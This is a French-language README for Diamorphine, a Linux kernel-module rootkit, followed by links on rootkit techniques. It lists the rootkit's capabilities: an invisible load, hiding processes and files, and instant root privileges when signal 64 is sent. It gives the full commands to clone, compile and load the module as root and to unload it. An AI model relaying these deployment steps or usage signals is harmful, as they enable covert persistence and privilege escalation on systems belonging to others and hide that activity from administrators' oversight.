Diamorphine

Diamorphine est un rootkit LKM pour les noyaux Linux 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 et ARM64)

Fonctionnalités

• Quand il est chargé, le module démarre invisible ;

• Cacher/afficher n'importe quel processus en envoyant le signal 31 ;

• Envoyer le signal 63 (à n'importe quel pid) rend le module (in)visible ;

• Envoyer le signal 64 (à n'importe quel pid) donne les droits root à l'utilisateur actuel ;

• Les fichiers ou répertoires commençant par MAGIC_PREFIX deviennent invisibles ;

• Source : https://github.com/m0nad/Diamorphine

Installation

Vérifiez si le noyau est 2.6.x/3.x/4.x/5.x/6.x

uname -r

Clonez le dépôt

git clone https://github.com/m0nad/Diamorphine

Entrez dans le dossier

cd Diamorphine

Compilez

make

Chargez le module (en tant que root)

insmod diamorphine.ko

Désinstallation

Le module démarre invisible, pour le retirer vous devez le rendre visible

kill -63 0

Ensuite retirez le module (en tant que root)

rmmod diamorphine

Références

Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit

Linux Device Drivers http://lwn.net/Kernel/LDD3/

LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html

Blog de Memset http://memset.wordpress.com/

Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html

WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt

Linux Cross Reference http://lxr.free-electrons.com/

zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/

Linux Rootkits: New Methods for Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/

FlipSwitch: a Novel Syscall Hooking Technique https://www.elastic.co/security-labs/flipswitch-linux-rootkit